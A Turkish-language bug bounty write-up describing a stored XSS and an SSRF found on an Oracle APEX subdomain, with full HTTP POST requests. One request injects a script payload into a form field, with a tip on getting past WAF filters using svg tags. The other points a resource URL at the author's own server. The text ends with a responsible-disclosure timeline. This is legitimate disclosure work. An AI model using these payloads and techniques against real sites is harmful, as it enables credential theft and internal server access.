Oracle Sistemlerinde Açık Tespit ve Ödül Avcılığı Süreci

Bu yazıda, Oracle Ödül Avcılığı (bug bounty) programı kapsamında yaptığım çalışmada stored xss ve ssrf zafiyetlerinin teknik detayları yer almaktadır. Tespit edilen açıklık ile örnek bir senaryoda kullanıcı bilgileri çalınabilir, sunucudaki dosyalar okunabilir ve cloudflare arkasındaki ip adresi öğrenilebilir sunucuda kod çalıştırılabilirdi.

Oracle zafiyet yönetim konusunda bulguları 3 aşamada inceler: maksimum, orta ve düşük dereceli zafiyetler. Bu zafiyetler kritik yama güncellemesi (Critical Patch Update – CPU) adı altında tüm Oracle ürünleri için ayın 17’sine en yakın salı günü ve ccak, nisan, temmuz ve ekim aylarında olmak üzere üç ayda bir yayımlanır. Gönderdiğimiz zafiyetler kritik düzeyde değerlendirildi ve ekim ayında yayımlanacak olan kritik yama güncellemelerinde yer almasını sağladık.

Detaylı bilgi için ilgili sayfaya incelenebilir.

Açıklıklar

Öncelikle ödül avcılığı (bug bounty) çalışmalarında olmazsa olmazımız subdomain’lerdir. Maltego ile hızlı bir şekilde subdomain’leri listeledim. Tabii ki daha iyi subdomain tespit yolları var. Maltego ile Shodan, Virustotal gibi sitelerin api’lerini kullanmak daha sağlıklı sonuçlar elde etmek demektir.

Genellikle blog ve forum subdomain’lerine çok saldırı yapılır ve zafiyet bulmak bir o kadar da zorlaşır. Dolayısıyla amacımız hızlı bir şekilde zafiyet bulup teşekkür listesine (hall of fame) girmekse daha az rağbet gören subdomain’ler seçilmeli, devgym.oracle.com gibi.

1) Stored XSS

Sitede mümkün olduğunda kullanıcı ile etkileşimde olan yerlere yoğunlaşmak gerek. Kullanıcıdan ne kadar giriş (input) alırsa o kadar kontrol gerekli ve tecrübelerimden edindiğim kadarıyla aynı sayfada bulunan iki input’tan birinde kontrol olurken diğerinde olmayabiliyor. Zafiyeti bulduğumuz kısım, kaynak eklemek için kullanıcıdan bilgi alan bir sayfa.

<input id=”P58_RES_TITLE1″ name=”P58_RES_TITLE1″ class=”text_field apex-item-text” value=”” size=”80″ maxlength=”4000″ type=”text”>

P58_RES_TITLE1 adlı girişte yeterli filtreleme olmadığı için payload direk çalıştı. Payload seçiminde önemli olan ilk denemelerin genellikle WAF ( Web Application Firewall) bypass için uygun olması. “script” etiketlerinin filtrelendiği bir senaryoda “svg” etiketleri etkili olabilir. Nitekim öyle de oldu.

Url Decode Post Request
POST /pls/apex/wwv_flow.accept HTTP/1.1
Host: devgym.oracle.com
User-Agent: LOSTAR
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 1553
Referer: https://devgym.oracle.com/pls/apex/f?
p=10001:58:103378087297034::LOSTAR
Cookie: LOSTAR
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
 
p_json={"salt":"98609148090187162669564142924073581331","pageItems":

{"itemsToSubmit":[{"n":"P58_NUM_OF_RESOURCES","v":"","ck":
"hNZHZcaOmfvHMA7ahobq-
qQlNp1PJkUsBU5ss6e7glqmoI0EZrklRe0XUK_z38505U70N44lIPJSNmdb-AWTkg"},

{"n":"P58_RES_TYPE1","v":"14","ck":"efAGT_YGXE1p01S8yjWpO_eAczSspdoRoz-

K4-f1OdpdRlV9p_WuNGJN9Bp3M3pMYaCQqkHdaXlolZbjnYsGKw"},

{"n":"P58_RES_USAGE1","v":"Documentation"},

{"n":"P58_RES_TITLE1","v":"\"><script>alert(2)</script>"},

{"n":"P58_RES_DESC1","v":"http://vulnerable.com"},

{"n":"P58_SOURCE1","v":"6073"},{"n":"P58_NEW_SOURCE1","v":""},

{"n":"P58_NEW_SOURCE_URL1","v":""},

{"n":"P58_QUESTION_ID","v":"25606","ck":"Eyl7mUOIYEpVum9VctUiHLPu627-

iDjABp6vB1C12-RQtygWi9meKO4meuyf_BK2mQUzY4VX8_9_mVMIHytXEA"},

{"n":"P58_TOPIC_ID","v":"2","ck":
"hh5lc91mLyXen0D0Snsn1QdrimOvYQhWqaQM18

SvpGlN2Z_5S9rXB4sLyiKXabJk7jkzmsGCkBpmf4iDTZst0g"}],"protected":"jqqB-

f0MYA3_uz8CacmDKAVrEAFuvW17ztaTWMErrbz9vdRCKMygqLLoNFR
nQ9DJT7K76s2fvD2cxMtO6paGt3w5cHEPlYt7-

zwKu1JBvhw","rowVersion":""}}&p_flow_id=10001&p_flow_step_id=58&p_instan

ce=103378087297034&p_page_submission_id=98609148090187162669
564142924073

581331&p_request=SUBMIT&p_reload_on_submit=A

Görüldüğü gibi girmiş olduğumuz payload çalıştı. Kaynak kodu incelediğimizde yerleştireceğimiz zararlı kodu inceleyebiliriz.

<textarea name="P46_RESULTS_FOR_DISPLAY" rows="4" maxlength="4000"

 wrap="virtual"  id="P46_RESULTS_FOR_DISPLAY" class="rich_text_editor 

apex-item-textarea" >&lt;pre&gt;

&quot;&gt;&lt;script&gt;alert('XSS BURADA')&lt;/script&gt;
&lt;/pre&gt;</textarea>

Html decode işlemi ile daha anlaşılır kılalım.

<textarea name="P46_RESULTS_FOR_DISPLAY" rows="4" maxlength="4000"
 
wrap="virtual" id="P46_RESULTS_FOR_DISPLAY" class="rich_text_editor 

apex-item-textarea" ><pre> "><script>alert('XSS BURADA')</script> 

</pre></textarea>

2) SSRF

Kaynak ekleme kısmından kaynağı kendi IP adresim olarak ayarlıyorum.

Url Decode Post Request
POST /pls/apex/wwv_flow.accept HTTP/1.1
Host: devgym.oracle.com
User-Agent: LOSTAR
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 1552
Referer:LOSTAR
Cookie: LOSTAR
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

p_json={"salt":"122523150566983643094015153833683096577","pageItems":

{"itemsToSubmit":[{"n":"P58_NUM_OF_RESOURCES","v":"","ck":"jX7U-

dY7GBagrfxT4mJjKvJtCFP6Tmlb2dkWCzjZUr61hyCsJVqVL9jcyY6AOHQ

9OS3kLLe4Y4slEV-rZyBjSg"},

{"n":"P58_RES_TYPE1","v":"14","ck":

"aD7VpGyW78xt39hB8gyljsN4nevFRVIot9zY

FKkN4_yuCkUtBdWPaZgH6vO_ZSP3u2KMgHP8r-KxrYxQbk6lVw"},

{"n":"P58_RES_USAGE1","v":"Documentation"},

{"n":"P58_RES_TITLE1","v":"ssrf"},

{"n":"P58_RES_DESC1","v":"172.45.123.15:8000/ssrf/a.txt"},

{"n":"P58_SOURCE1","v":""},{"n":"P58_NEW_SOURCE1","v":"ssrf"},

{"n":"P58_NEW_SOURCE_URL1","v":"172.45.123.15:8000/ssrf/a.txt"},

{"n":"P58_QUESTION_ID","v":"25907","ck":"APFHsAcbhQKW5EHD6lNGIMzu0JhaxNR

dT3sVNyBp-DGFX4DkZUuOSpVGNv4eJDZ3LsllAZ4sxv1rO__xZLe4fA"},

{"n":"P58_TOPIC_ID","v":"2","ck":"f56ht7dBeQjjfXj0evCc8MTM92mVUPNFMTtvZ5

kLSAyo2j3wgz45O3mVC43XUPoYPESphv7H9rM3nFsSuh1v0Q"}],"protected":

"o6PwEVQSOqgPJhRH2qFSMFTsDYP4TkMRI11ym_

hsMbeucM1Hyb77Qv22syMokufjMyEt-hQnLYcKIY1qMlloI56PsRGGhKMcn8kE-

SqMm5A","rowVersion":""}}&p_flow_id=10001&p_flow_step_id=

58&p_instance=1348299930869&p_page_submission_id=

122523150566983643094015153833683096577&p_request=

SUBMIT&p_reload_on_submit=A

Sunucunun yaptığı isteği görmek için Python simplehttpserver modülünü kullanıyorum.

Süreç

15 Temmuz 2017: Zafiyet bildirildi.

18 Temmuz 2017: İncelemeye alındı.

1 Ağustos 2017: Zafiyet giderildi.

Ekim 2017: CPU listesine eklendi.